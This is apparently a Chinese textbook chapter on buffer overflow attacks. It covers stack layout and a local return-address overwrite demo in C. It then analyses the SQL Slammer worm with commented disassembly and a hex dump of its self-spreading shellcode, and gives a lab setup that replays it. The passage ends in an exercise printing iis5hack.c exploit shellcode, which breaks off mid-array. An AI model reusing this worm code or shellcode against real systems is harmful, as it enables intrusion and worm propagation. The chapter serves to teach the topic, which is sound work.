缓冲区溢出攻击

耗尽温柔 提交于 2019-11-27 16:38:29
 
       缓冲区溢出是目前最常见的一种安全问题,操作系统以及应用程序大都存在缓冲区溢出漏洞。缓冲区是一段连续内存空间,具有固定的长度。缓冲区溢出是由编程错误引起的,当程序向缓冲区内写入的数据超过了缓冲区的容量,就发生了缓冲区溢出,缓冲区之外的内存单元被程序“非法”修改。
一般情况下,缓冲区溢出导致应用程序的错误或者运行中止,但是,攻击者利用程序中的漏洞,精心设计出一段入侵程序代码,覆盖缓冲区之外的内存单元,这些程序代码就可以被CPU所执行,从而获取系统的控制权。
8.1 缓冲区溢出攻击原理
1. 局部变量与堆栈的关系
在一个程序中,会声明各种变量。静态全局变量是位于数据段并且在程序开始运行的时候被初始化,而局部变量则在堆栈中分配,只在该函数内部有效。
如果局部变量使用不当,会造成缓冲区溢出漏洞。例如,以下程序将命令行的第1个参数拷贝到buf局部变量中。
int main(int argc, char **argv)
{
     char buf[80];
     strcpy(buf, argv[1]);
}
在一次函数调用中,堆栈中将被依次压入:参数、返回地址。如果函数有局部变量,接下来,就在堆栈中开辟相应的空间(SUB ESP,x)以构造变量。函数执行结束时,恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。
例如,调用函数main(int argc, char **argv)时,堆栈的使用情况如图8-1所示。
 
 
 
 
 
 
 
 
 
 
 
 
ESP→
 
← buf →
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
寄存器
 
寄存器
 
寄存器
 
 
ESP→
EIP
 
EIP
ESP→
EIP
 
EIP
 
 
argc
 
argc
 
argc
ESP→
argc
 
 
 
argv
 
argv
 
 
 
argv
ESP→
 
 
 
 
 
 
 
 
 
1)调用之前       2)参数、EIP压栈        3)寄存器压栈           4)释放局部变量           5)返回
                                               分配局部变量           寄存器出栈
图8-1 函数调用与堆栈
从上述main函数的反汇编代码中,第3步对应的代码为00401000H~00401003H,指令“sub esp,50h”在堆栈中分配了80个字节作为局部变量buf的内存空间。
00401000   push        ebp
00401001   mov         ebp,esp
00401003   sub         esp,50h
00401006   mov         eax,dword ptr [ebp+0Ch]
00401009   mov         ecx,dword ptr [eax+4]
0040100C   push        ecx
0040100D   lea         edx,[ebp-50h]
00401010   push        edx
00401011   call        00401020
00401016   add         esp,8
00401019   mov         esp,ebp
0040101B   pop         ebp
0040101C   ret
打开bomain工程,在Release模式下编译。如图8-2所示,选择菜单Project→Settings…下,在“Win32 Release”的“Debug”页中,设定“Program arguments”为字符串“This is test result of buffer overflow demo code.”。加双引号的目的是将整个字符串作为一个参数,即argv[1],否则,这个字符串将被分解为多个参数,argv[1]=This,argv[2]=is等等。
 
图8-2 设定程序运行参数
程序在Release模式下编译、运行,不能直接在源程序中设置断点。编译完成后,按F11键,VC提示没有调试信息,按“OK”按钮继续运行。这时,按Ctrl+G,在左侧选择“Address”,编辑框内输入00401000,显示main函数所在地址的汇编代码,如图8-3所示。
 
图8-3 显示指定地址处的汇编代码
在“00401019”一行按F9设置断点,按F5执行程序,执行到“00401019”处程序进入断点,EIP、ESP、EBP寄存器的值为:
EIP = 00401019 ESP = 0012FF30 EBP = 0012FF80
在内存窗口的地址栏输入ESP,显示堆栈中的内容为:
0012FF30 54 68 69 73 20 69 73 20 74 65 73 74 20 72 65 73 This is test res
0012FF40 75 6C 74 20 6F 66 20 62 75 66 66 65 72 20 6F 76 ult of buffer ov
0012FF50 65 72 66 6C 6F 77 20 64 65 6D 6F 20 63 6F 64 65 erflow demo code
0012FF60 2E 00 FF FF 8D 16 F5 77 69 1E 40 00 00 00 37 00 ........i.@...7.
0012FF70 00 00 00 00 88 49 37 00 00 00 00 00 61 12 40 00 .......7.....a.@.
0012FF80 C0 FF 12 00 C4 11 40 00 02 00 00 00 80 0E 41 00 ......@.......A.
buf的地址为0012FF30,可以看到argv[1]的内容已经被拷贝到buf中。
后面一行中,“00000002”为堆栈中的argc,“00410E80”为堆栈中的argv,“004011C4”为堆栈中的
0012FF80 0012FFC0 004011C4 00000002 00410E80 
2. 利用堆栈溢出运行攻击代码
在上面的例子中,如果给定的字符串(argv[1])长度小于80,则程序可正常运行。如果给出的argv[1]长度为100个字节,strcpy将这个字符串拷贝到堆栈时,会将堆栈中的“寄存器、EIP、argc、argv”等有效数据覆盖。在第4、5步执行时必然得到错误的返回地址(EIP),导致程序出错。
因此,堆栈溢出的根本原因在于:由于字符串处理函数(gets,strcpy等)没有对数组越界加以判断和限制,利用超长字符数组,越界覆盖堆栈中的原有元素的值,可以修改堆栈中的返回地址,并执行由返回地址指向的代码。
如图8-4所示,可以让该返回地址指向的指令执行一段特殊代码,即图中的阴影部分。当发生堆栈溢出时,堆栈中的EIP被替换为EIP’。 执行ret指令时,执行由EIP’指向的攻击代码,而不会返回到主程序中。
 
 
 
 
 
 
 
 
 
 
ESP→
 
← buf →
 
 
 
 
 
 
 
 
 
 
EIP→
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
寄存器
 
 
 
 
 
 
 
 
 
EIP
 
EIP’
 ESP→
EIP’
 
EIP’
 
 
argc
 
 
 
 
ESP→
 
 
 
 
argv
 
 
 
 
 
 
 
1)进入函数后的堆栈       2)拷贝超长字符        3)释放局部变量     4)从堆栈中取出EIP,
                                       数组到缓冲区中        ESP指向返回地址    执行shell code
图8-4 缓冲区溢出攻击
3. 堆栈溢出实例
在下面程序中,main( )函数调用copyString( ),但copyString为buf保留的缓冲区只有10个字节,当输入的字符串s超过10个字符时,缓冲区溢出。
输入的字符串s包括了hacked( )的地址,strcpy( )执行后,这个地址覆盖了堆栈中的返回地址,程序执行到hacked( ),而不能返回到main( )中。
;程序清单: internal.c(程序内部缓冲区溢出)
#include <windows.h>
#include <stdio.h>
#include <string.h>
 
void copyString(char* s)
{
    char buf[10];
 
    strcpy (buf, s);
}
 
void hacked(void)
{
    printf("The program is hacked./n");
    while (1) ;
}
 
int main(int argc, char* argv[])
{
    char badStr[] = "000011112222333344445555";
    DWORD *pEIP = (DWORD*)&badStr[16];
   
    *pEIP = (DWORD)hacked;
 
    copyString(badStr);
    return 0;
}
将光标定位在“strcpy (buf, s); ”程序行,按F9设置断点;在定位到下一行“}”上,再按F9键,设置的2个断点如图8-5所示。
 
图8-5 在程序中设置断点
按F5开始执行程序,在第1个断点处,如图8-6所示,在地址栏上输入*s,显示s(也就是badStr)的内容。在定义badStr 时,0012FF74h处的内容为“4444”。“*pEIP = (DWORD)hacked”将0012FF74h处的数据修改为“05 10 40 00”,也就是00401005h。00401005h是hacked的入口地址。
 
图8-6 显示程序变量的值
0012FF64 30 30 30 30 31 31 31 31 32 32 32 32 33 33 33 33 0000111122223333
0012FF74 05 10 40 00 35 35 35 35 00 CC CC CC C0 FF 12 00 ..@.5555........
在内存窗口的地址栏上输入buf。buf定义为10个字节。在堆栈中,0012FEF8h中的内容为“80 FF 12 00”,0012FEFCh中的内容为“20 11 40 00”,返回地址为00401120H。此时,buf缓冲区的内容全部为0CCh。
0012FEFC CC CC CC CC CC CC CC CC CC CC CC CC 80 FF 12 00 ................
0012FF0C 20 11 40 00 64 FF 12 00 00 00 00 00 00 00 00 00 ................
按F5键执行到第2个断点,s中的14h个字节被复制到buf中,覆盖了堆栈中的“80 FF 12 00”和“20 11 40 00”。返回地址变为“05 10 40 00”。
0012FEFC 30 30 30 30 31 31 31 31 32 32 32 32 33 33 33 33 0000111122223333
0012FF0C 05 10 40 00 64 FF 12 00 00 00 00 00 00 00 00 00 ..@.d...........
按F5继续执行,程序没有返回到main( )中,而是执行到hacked( )函数。
badStr中的“5555”没有被拷贝到buf中,这是因为“5555”前面的一个字节,其内容为00h,即0012FF77h。这样,strcpy( )函数就认为0012FF77h是字符串s的结尾,只拷贝0012FF64h~0012FF77h之间的20个字节到0012FEFCh中。
8.2 远程缓冲区溢出攻击
目前,操作系统(Windows、Linux、Unix)、数据库以及应用软件主要采用C/C++语言开发,但C/C++语言缺乏数组边界条件检查、程序执行不受控制等特点,因此,这些软件不可避免地存在缓冲区溢出漏洞,成为安全隐患。
发现网络上某台计算机的缓冲区溢出漏洞后,攻击者就能够利用该漏洞实施远程攻击,获得对计算机的完全控制,在该计算机上执行任意命令,如安装程序、查看或更改、删除数据、格式化硬盘等。
早在1988年,美国康奈尔大学的计算机科学系研究生,23岁的莫里斯(Morris)利用了UNIX fingered程序不限制输入长度的漏洞,造成缓冲区溢出。Morris又写了一段程序使他的恶意程序能以root(超级用户)身份执行,并传播到其他机器上,结果造成6000台Internet上的服务器瘫痪,占当时总数的10%。
1.  “SQL Slammer”蠕虫简介
2003年1月底,互联网上出现一种新型的蠕虫病毒,大量占用网络带宽,最终导致网络瘫痪。该蠕虫是利用Microsoft SQL Server 2000中的缓冲区溢出漏洞,通过向其解析端口1434发送包含恶意代码的数据包进行攻击。
由于“SQL Slammer”蠕虫具有极强的传播能力,造成了全球性的网络灾害。根据统计,“SQL Slammer”爆发初期,仅需8.5秒被感染的主机数量就增加1倍。
“SQL Slammer”也不将蠕虫信息写入被传染对象的文件中。它只存在于内存之中,不通过文件这一常规载体传染和存储,而是借助这个服务器的网络连接来传染其它的服务器,在计算机的内存之间不断进行复制。从传染途径上看,该蠕虫在运行SQL Server的服务器之间通过UDP 1434端口发送SQL请求进行传播。
除了运行SQL Server的Windows NT/2000系列服务器外,安装了Visual FoxPro,Veritas Backup Exec等其他软件的服务器也会被感染,因为这些软件中包含有Microsoft Data Engine 2000(微软数据库引擎),而SQL Server内嵌在数据库引擎中。
“SQL Slammer”通过缓冲区溢出取得系统控制权后,就开始产生随机IP地址发送自身。由于发送数据包占用了大量系统资源和网络带宽,形成UDP风暴,感染了该蠕虫的网络性能会急剧下降,另外,蠕虫的扩散占用了整个Internet网络上的大量带宽。
2.“SQL Slammer”缓冲区溢出的过程
“SQL Slammer”利用了微软公司SQL Server的一个漏洞(公告编号: MS02-039)。该漏洞是在2002年7月由Next Generation Security公司发现的。
该蠕虫利用的端口是UDP 1434,该端口提供SQL Server 解析服务。SQL Server支持在单一物理主机上运行多个SQL服务器的实例,但是多个实例不能使用同一个SQL标准服务会话端口(TCP 1433),所以SQL Server解析服务监听UDP 1434端口来提供一种查询机制,向客户端返回各SQL服务实例对应的网络端口。
当SQL Server解析服务在UDP 1434端口接收到的UDP包第一个字节为0x04时,SQL监视线程会获取UDP包中的数据并使用UDP包后面的信息来尝试打开注册表中的一个键值。例如,接收到的UDP数据包是/x04/x41/x41/x41,SQL服务程序就调用sprintf生成如下格式的字符串:HKLM/Software /Microsoft/Microsoft SQL Server/AAA/MSSQLServer /CurrentVersion。再以这个字符串作为注册表键读取有关参数。
由于SQL Server 解析服务程序在调用sprintf时没有进行字符串长度检查,如果UDP数据包字节/x04后面的字符串达到一定长度后,将产生缓冲区溢出。“SQL Slammer”就是利用这一漏洞,通过在这个UDP包后追加包含攻击代码的额外数据,当解析服务程序调用sprintf时,会发生基于堆栈的缓冲区溢出。它使用0x42B0C9DC覆盖了ssnetlib.dll中一个函数的返回地址,该返回地址(0x42B0C9DC)指向sqlsort.dll中数据区中的“FF E4”字节,而“FF E4”正好是“JMP ESP”这条指令的机器码。缓冲区溢出时内存布局如图8-7所示。
42B0C9DC
FF E4“JMP ESP”
 
 
缓冲区
HKLM/Software/Microsoft/Microsoft SQL Server/
 
04 01 01 01 01 01 01 01 01 01 01 01 01 01
函数返回地址
42B0C9DC
 
EB 0E 01 01 01 01 01 01 01 70 AE 42 01
 
/MSSQLServer/CurrentVersion
图8-7 “SQL Slammer”攻击成功时的内存布局
“SQL Slammer”蠕虫的长度极小,仅仅是一段376个字节(1+96+4+275=376)的数据,通过UDP端口进行传播,因此,其传播速度更快。为便于分析,图8-8列出了“SQL Slammer”网络包的数据。
3.“SQL Slammer”运行过程分析
“SQL Slammer”通过覆盖堆栈中的返回地址,函数返回时不能回到原来的调用处,而是要执行0x42B0C9DC处的“JMP ESP”指令,而ESP指向的正是“SQL Slammer”蠕虫偏移101字节处“EB 0E”开始的运行代码。这些程序以SQL Server进程的权限在系统中执行。其运行过程为:
1)         将0x42B0C9DC压栈,再将0x01010101压栈24次,最后将0x04000000压栈。
2)         执行第1步后,将ESP保存到EBP中,而EBP+3此时指向“SQL Slammer”的完整数据(图8-8),在第8步中作为网络数据包被发送出去。
3)         在sqlsort.dll的IAT表中取得LoadLibrary函数的地址。
4)         调用LoadLibrary和GetProcAddress 得到3个函数 的入口地址: kernel32.dll的GetTickCount函数、ws2_32.dll中的socket和sendto函数。
5)         使用GetTickCount获得系统自启动后经历的毫秒数。
6)         调用socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)创建一个套接字。
7)         以毫秒数为依据生成一个随机的IP地址。
8)         以该IP地址为目标,调用sendto发送SQL解析请求UDP网络包。目标端口为1434,缓冲区地址为EBP+3,长度为376字节。因此,如果目标服务器上也运行了SQL Server服务,就会将这个UDP网络包作为SQL Server解析请求,从而被蠕虫入侵。目标机被入侵之后,目标机再次重复“SQL Slammer”的运行过程,在网络上继续扩散。
跳转到第7步。因此,系统被感染后,进入一个无限循环,不断在网络上扩散蠕虫代码。由于UDP不需要与目标主机建立TCP连接,在一个有100Mbps Internet出口的主机,每秒可重复发送攻击包30,000个。
图8-8 “SQL Slammer”网络包
图8-8中数据中包括两个“01 70 AE 42”序列,表示偏移地址0x42AE7001。这是因为sprintf所引用的缓冲区后面还有数据指针,“SQL Slammer”在发送攻击代码时,也会同时覆盖这个数据指针。如果数据指针指向了一个非法地址,函数访问这个指针时就会出现异常,而被异常处理程序捕获,函数不可能正常返回,也就无法执行0x42B0C9DC处的指令了。因此,攻击数据包中的“01 70 AE 42”的作用是为了防止出现异常。
jmp     short reconstruct; 此时,ESP=EIP。缓冲区溢出后,EIP=42B0C9DCh。42B0C9DCh处是
                         ; 一条“JMP ESP”指令
reconstruct:
push    42B0C9DCh        ; 缓冲区溢出后,堆栈中的ESP指针前面的数据包被破坏。这里,
                         ; 需要进行恢复,得到完整的数据包。首先,将42B0C9DCh压栈。
mov     eax, 1010101h    ; 再将01010101h压栈24次。
xor     ecx, ecx
mov     cl, 18h
 
fixup_payload:
push    eax
loop    fixup_payload
xor     eax, 5010101h   ; eax = 01010101h xor 05010101 h =04000000h
push    eax             ; 将04000000h压栈。
mov     ebp, esp        ; EBP=ESP。至此,EBP+3指向的数据包完全恢复,如图7-19所示。
                        ; 图7-19中带阴影的部分是需要由上面这些PUSH指令恢复的。
                        ; 在后面的程序中可以看到,EBP+3指向的数据包被sendto()函数
                        ; 发送到其它计算机。
push    ecx             ; ECX=0
push    6C6C642Eh
push    32336C65h
push    6E72656Bh       ; ESP=EBP-10H现在指向“kernel32.dll”字符串
push    ecx
push    746E756Fh
push    436B6369h
push    54746547h       ; ESP=EBP-20H指向“GetTickCount”字符串
mov     cx, 6C6Ch
push    ecx             ; ecx = 00006C6Ch
push    642E3233h
push    5F327377h       ; ESP=EBP-2CH指向“ws2_32.dll”字符串
mov     cx, 7465h
push    ecx             ; ecx = 00007465h
push    6B636F73h       ; ESP=EBP-34H 指向“socket”字符串
mov     cx, 6F74h
push    ecx             ; ecx = 0000746fh
push    646E6573h       ; ESP=EBP-3CH指向“sendto”字符串
 
mov     esi, 42AE1018h ; 42AE1018h属于sqlsort.dll的IAT表,其中的内容为
                        ; LoadLibrary函数的地址
lea     eax, [ebp-2Ch] ; EBP-2CH及EAX指向堆栈中的“ws2_32.dll”字符串
push    eax             ; EAX压栈作为LoadLibraryA函数的参数
call    dword ptr [esi] ; 相当于: LoadLibraryA("ws2_32.dll")
                        ; LoadLibraryA的原型为:
                        ; WINBASEAPI HMODULE WINAPI LoadLibraryA(LPCSTR lpLibFileName);
push    eax             ; EAX是LoadLibraryA()的返回值.即ws2_32.dll的模块地址
                        ; 将EAX压栈, 保存在EBP-40H单元中。
lea     eax, [ebp-20h] ; EBP-20H及EAX指向堆栈中的“GetTickCount”字符串
push    eax             ; 将EAX压栈,作为GetProcAddress()的第二个参数
 
lea     eax, [ebp-10h] ; EBP-10H及EAX指向堆栈中的“kernel32.dll”字符串
push    eax             ; EAX压栈作为LoadLibraryA函数的参数
call    dword ptr [esi] ; LoadLibrary("kernel32.dll")
push    eax             ; EAX是LoadLibraryA()的返回值.即kernel32.dll的模块地址
                        ; 将EAX压栈,作为GetProcAddress()的第一个参数
mov     esi, 42AE1010h ; 42AE1010h属于sqlsort.dll的IAT表,其中的内容应为
                        ; GetProcAddress()函数的地址。但对某些版本(如2000.80.534.0)
                        ; 的sqlsort.dll,地址42AE1018h中的内容为
                        ; RtlEnterCriticalSection()函数的地址。程序在这里做一判断,
                        ; 检查42AE1018h中的值是不是GetProcAddress()函数的地址。
mov     ebx, [esi]      ; ebx是函数的地址
mov     eax, [ebx]      ; 取出该函数体前面4个字节的内容
                        ;:u GetProcAddress
                        ; KERNEL32!GetProcAddress
                        ; 001B:77E5A5FD 55                  PUSH      EBP
                        ; 001B:77E5A5FE 8BEC                MOV       EBP,ESP
                        ; 001B:77E5A600 51                  PUSH      ECX
                        ; 001B:77E5A601 51                  PUSH      ECX
                        ; 001B:77E5A602 53                  PUSH      EBX
                        ; 001B:77E5A603 57                  PUSH      EDI
                        ; 001B:77E5A604 8B7D0C              MOV       EDI,[EBP+0C]
cmp     eax, 51EC8B55h ; 检查前4个字节是否为:55h,8Bh,ECh,51h
jz      found_it        ; 如果相同,42AE1018h中的内容就是GetProcAddress()函数的地址
mov     esi, 42AE101Ch ; 否则,42AE101Ch中的内容是GetProcAddress()函数的地址
                        ; 因此,可以针对不同的SQL版本取出正确的GetProcAddress()地址
found_it:
call    dword ptr [esi] ; GetProcAddress(kernel32_base,GetTickCount)
                        ; GetProcAddress的原型为:
                        ; WINBASEAPI FARPROC WINAPI
                        ; GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
call    eax             ; EAX是GetProcAddress的返回值。
                        ; call eax就是调用GetTickCount()。GetTickCount()不需参数,
                        ; 返回自计算机启动以后的毫秒数。这里将返回值作为随机数产生器
                        ; 的一个种子(seed)。GetTickCount()的原型为:
                        ; WINBASEAPI DWORD WINAPI GetTickCount( VOID );
xor     ecx, ecx
push    ecx             ; 将0压栈,保存于[EBP-44H]单元中
push    ecx             ; 将0压栈,保存于[EBP-48H]单元中
push    eax             ; 将种子压栈,保存于[EBP-4CH]单元中
 
xor     ecx, 9B040103h ;
xor     ecx, 01010101h
push    ecx             ; ecx = 0x9B040103 xor 0x01010101 = 0x9A050002
                        ; 0x59A = 1434,即SQL解析服务的端口号。
lea     eax, [ebp-34h] ; EBP-2CH及EAX指向堆栈中的"socket"字符串
push    eax             ; 将EAX压栈,作为GetProcAddress()的第二个参数
mov     eax, [ebp-40h] ; [ebp-40h]是LoadLibraryA("ws2_32.dll")的返回值.即
push    eax             ; 将EAX压栈,作为GetProcAddress()的第一个参数
call    dword ptr [esi] ; GetProcAddress(ws2_32 base, "socket")
                        ; EAX是GetProcAddress的返回值,即socket()函数的地址。
                        ; socket()函数的原型为:
                        ; SOCKET PASCAL FAR socket (int af, int type, int protocol);
push    11h             ;#define IPPROTO_UDP 17 /* user datagram protocol */
push    2               ;#define SOCK_DGRAM   2 /* datagram socket */
push    2               ;#define AF_INET      2 /* internetwork: UDP, TCP, etc. */
call    eax             ; socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
                        ; EAX返回由socket()创建的一个套接字
push    eax             ; 将套接字压栈,保存于[EBP-54H]单元中
 
lea     eax, [ebp-3Ch] ; EBP-3CH及EAX指向堆栈中的"sendto"字符串
push    eax             ; 将EAX压栈,作为GetProcAddress()的第一个参数
mov     eax, [ebp-40h] ; [ebp-40h]是LoadLibraryA("ws2_32.dll")的返回值
push    eax             ; 将EAX压栈,作为GetProcAddress()的第一个参数
call    dword ptr [esi] ; GetProcAddress(ws2_32 base,sendto)
                        ; EAX是GetProcAddress的返回值,即sendto()函数的地址。
                        ; sendto()函数的原型为:
                        ; int PASCAL FAR sendto (SOCKET s, char FAR * buf, int len,
                        ; int flags,const struct sockaddr FAR *to, int tolen);
mov     esi, eax        ; ESI中保存sendto()函数的地址
 
or      ebx, ebx        ; ebx = 77F8313Ch
xor     ebx, 0FFD9613Ch ; ebx = 88215000h or 88336870h或其他值
 
rand_send:
mov     eax, [ebp-4Ch] ; 取得毫秒数作为种子seed。
 
lea     ecx, [eax+eax*2]; ecx = seed*3 mod 2^32
lea     edx, [eax+ecx*4]; edx = seed*13 mod 2^32
shl     edx, 4          ; edx = seed*208 mod 2^32
add     edx, eax        ; edx = seed*209 mod 2^32
shl     edx, 8          ; edx = seed*53504 mod 2^32
sub     edx, eax        ; edx = seed*53503 mod 2^32
lea     eax, [eax+edx*4]; eax = seed*214013 mod 2^32
add     eax, ebx        ; eax = (seed*214013 + ebx) mod 2^32
mov     [ebp-4Ch], eax ; eax是这一轮产生的一个随机数,作为产生下一个随机数的种子
                        ; eax作为IP地址
 
                        ; 下面将sendto参数压栈.
push    10h             ; 参数tolen = 16,即sizeof(struct sockaddr_in)
lea     eax, [ebp-50h] ;
push    eax             ; 参数to指向EBP-50H.
                        ; to->sin_family = 0002h (EBP-50H)
                        ; to->sin_port = 059ah (EBP-4EH)
                        ; to->s_addr = 随机IP地址(EBP-4CH)
                        ; to->sin_zero = 8个0字节(EBP-48H)
 
                        ; struct in_addr {
                        ;   union {
                        ;           struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;
                        ;           struct { u_short s_w1,s_w2; } S_un_w;
                        ;           u_long S_addr;
                        ;   } S_un;
                        ;#define s_addr S_un.S_addr /* for most tcp & ip code */
                        ; struct sockaddr_in {
                        ;         short   sin_family;
                        ;         u_short sin_port;
                        ;         struct in_addr sin_addr;
                        ;         char    sin_zero[8];
                        ; };
xor     ecx, ecx        ; 参数flags = 0
push    ecx
xor     cx, 178h        ; ecx=376
push    ecx             ; 参数len = 376, 数据包的长度为376字节
lea     eax, [ebp+3]
push    eax             ; 参数buf = EBP+3,指向蠕虫的数据包
mov     eax, [ebp-54h] ; [EBP-54H]单元中保存的是由socket()创建的套接字,
push    eax             ; 参数s = 套接字
call    esi             ; sendto(sock,payload,376,0,sock_addr struct, 16)
                        ; 调用sendto()向一个随机IP地址发送数据包。若该主机上存在
                        ; SQL漏洞,将导致其缓冲区溢出,并运行与本程序相同的代码
jmp     short rand_send ; 不断产生随机IP地址并发起攻击
4.  “SQL Slammer”模拟实验
编写程序blssrv.c和blsclt.c,不需要安装和配置Microsoft SQL Server 2000,就可以重现这个“SQL Slammer”蠕虫的运行状态。
blssrv.c作为服务端,监听5193端口。收到从端口传送来的网络包后,调用process( )函数。这里,缓冲区in只能容纳89个字节,当网络包长度超过89个字符时,将产生缓冲区溢出。
void process(char *buf, int n)
{
     char    in[89];
 
     memcpy(in, buf, n);
     fprintf(stdout, "received bytes: %d/n", n);
     fprintf(stdout, "received data : %s/n", in);
}
“SQL Slammer”蠕虫程序中,有3个内存地址存在于Microsoft SQL Server 2000运行环境中,这3个地址在图8-8中以下划线的形式标出,它们是:
(1)      DCC9B042:0x42B0C9DC。它指向一个“JUMP ESP”指令。
(2)      1810AE42:0x42AE1018。它是LoadLibrary( )函数的入口地址。
(3)      1010AE42:0x42AE1010。它是GetProcAddress ( )函数的入口地址。
在blssrv.exe中,定义上述3个双字,用printf显示出这3个双字的地址:
unsigned char jmpesp[]="/xff/xe4";
PBYTE func1 = (PBYTE)LoadLibrary;
PBYTE func2 = (PBYTE)GetProcAddress;
 
     printf("&jmpesp=0x%08x/n", jmpesp);
     printf("LoadLibrary=0x%08x/n", *(UINT *)(func1+2));
     printf("GetProcAddress=0x%08x/n", *(UINT *)(func2+2));
运行时,显示这3个双字的内容为:
&jmpesp=0x00406030
LoadLibrary=0x00405004
GetProcAddress=0x00405000
blsclt.c作为客户端,向运行bltsrv.exe的计算机的5193端口发送网络包,网络包的内容为图8-8所示的“SQL Slammer”蠕虫代码。
在发送网络包之前,蠕虫代码中依赖于Microsoft SQL Server 2000的3个双字必须被替换:
*(UINT *)(sc+0x61) = 0x00406030;       // "jmp esp"
*(UINT *)(sc+0x7e) = 0x00406030;       // "jmp esp"
*(UINT *)(sc+0xda) = 0x00405004;       // LoadLibrary()
*(UINT *)(sc+0xf1) = 0x00405000;       // GetProcAddress()
在一台计算机(服务端)上运行blssrv.exe,在另一台计算机上运行blsclt.exe a.b.c.d,a.b.c.d是服务端的IP地址。
blsclt.exe导致blssrv.exe发生缓冲区溢出后,执行process( )函数的ret指令后,EIP=00406030h,ESP=0012F9D8h。堆栈中的内容为:
0012F974 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
0012F984 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
0012F994 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
0012F9A4 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
0012F9B4 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
0012F9C4 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
0012F9D4 30 60 40 00 EB 0E 01 01 01 01 01 01 01 70 AE 42 0`@..........p..
0012F9E4 01 70 AE 42 90 90 90 90 90 90 90 90 68 30 60 40 .p..........h0`@
0012F9F4 00 B8 01 01 01 01 31 C9 B1 18 50 E2 FD 35 01 01 ......1...P..5..
0012FA04 01 05 50 89 E5 51 68 2E 64 6C 6C 68 65 6C 33 32 ..P..Qh.dllhel32
0012FA14 68 6B 65 72 6E 51 68 6F 75 6E 74 68 69 63 6B 43 hkernQhounthickC
0012FA24 68 47 65 74 54 66 B9 6C 6C 51 68 33 32 2E 64 68 hGetTf..lQh32.dh
0012FA34 77 73 32 5F 66 B9 65 74 51 68 73 6F 63 6B 66 B9 ws2_f..tQhsockf.
0012FA44 74 6F 51 68 73 65 6E 64 BE 04 50 40 00 8D 45 D4 toQhsend..P@....
0012FA54 50 FF 16 50 8D 45 E0 50 8D 45 F0 50 FF 16 50 BE P..P.........P.
0012FA64 00 50 40 00 8B 1E 8B 03 3D 55 8B EC 51 74 05 BE .P@.....=U..Qt..
0012FA74 1C 10 AE 42 FF 16 FF D0 31 C9 51 51 50 81 F1 03 ........1..QP...
0012FA84 01 48 15 81 F1 01 01 01 01 51 8D 45 CC 50 8B 45 .H.......Q......
0012FA94 C0 50 FF 16 6A 11 6A 02 6A 02 FF D0 50 8D 45 C4 ....j.j.j.......
0012FAA4 50 8B 45 C0 50 FF 16 89 C6 09 DB 81 F3 3C 61 D9 P............<a.
0012FAB4 FF 8B 45 B4 8D 0C 40 8D 14 88 C1 E2 04 01 C2 C1 ......@.........
0012FAC4 E2 08 29 C2 8D 04 90 01 D8 89 45 B4 6A 10 8D 45 ..)........E....
0012FAD4 B0 50 31 C9 51 66 81 F1 78 01 51 8D 45 03 50 8B ..1..f..x.Q...P.
0012FAE4 45 AC 50 FF D6 EB CA
 部分反汇编代码为:
0012F9D8 EB 0E                jmp         0012F9E8
0012F9E8 90                   nop
0012F9F0 68 30 60 40 00       push        406030h
0012F9F5 B8 01 01 01 01       mov        eax,1010101h
0012F9FA 31 C9                xor         ecx,ecx
0012F9FC B1 18                mov         cl,18h
0012FAE6 50                   push        eax
0012FAE7 FF D6                call        esi
0012FAE9 EB CA                jmp         0012FAB5
8.3 实验题:IIS 5.0溢出漏洞实验
在研究分析iis5hack.c的基础上,编写远程缓冲区溢出攻击的服务端和客户端程序。iis5hack.c必须用“Release”模式编译,连接基地址“BaseAddress”设为0x01010000。
 
要求:
1.    运行iis5hack.exe,程序退出,但C:根目录下生成了一个文件:www.eEye.com.txt。分析缓冲区溢出过程,获得溢出之后的代码。
2.    连接基地址“BaseAddress”缺省为0x00400000。为什么要修改为0x01010000?还可以修改为其他值吗?
3.    编写服务端和客户端程序。客户端程序向服务端发送一个网络包,网络包的内容为sc中的数据。服务端在C:根目录下生成文件www.eEye.com.txt。
4.    修改sc中的数据,文件名改为hackfun.txt,并向其中写入字符串“Buffer Overflow is funny!”
;程序清单: iis5hack.c
#include <Windows.h>
#include <stdio.h>
 
unsigned char jmpesp[]="/xff/xe4";
PBYTE func0 = (PBYTE)CloseHandle;
PBYTE func1 = (PBYTE)CreateFileA;
PBYTE func2 = (PBYTE)WriteFile;
PBYTE func3 = (PBYTE)ExitProcess;
DWORD dwCloseHandle;
DWORD dwCreateFileA;
DWORD dwWriteFile;
DWORD dwExitProcess;
 
unsigned char sc[315]="/
/x8b/xc4/x83/xc0/x11/x33/xc9/x66/xb9/x20/x01/x80/x30/x03/x40/xe2/
/xfa/xeb/x03/x03/x03/x03/x5c/x88/xe8/x82/xef/x8f/x09/x03/x03/x44/
/x80/x3c/xfc/x76/xf9/x80/xc4/x07/x88/xf6/x30/xca/x83/xc2/x07/x88/
/x04/x8a/x05/x80/xc5/x07/x80/xc4/x07/xe1/xf7/x30/xc3/x8a/x3d/x80/
/xc5/x07/x80/xc4/x17/x8a/x3d/x80/xc5/x07/x30/xc3/x82/xc4/xfc/x03/
/x03/x03/x53/x6b/x83/x03/x03/x03/x69/x01/x53/x53/x6b/x03/x03/x03/
/x43/xfc/x76/x13/xfc/x56/x07/x88/xdb/x30/xc3/x53/x54/x69/x48/xfc/
/x76/x17/x50/xfc/x56/x0f/x50/xfc/x56/x03/x53/xfc/x56/x0b/xfc/xfc/
/xfc/xfc/xcb/xa5/xeb/x74/x8e/x28/xea/x74/xb8/xb3/xeb/x74/x27/x49/
/xea/x74/x60/x39/x5f/x74/x74/x74/x2d/x66/x46/x7a/x66/x2d/x60/x6c/
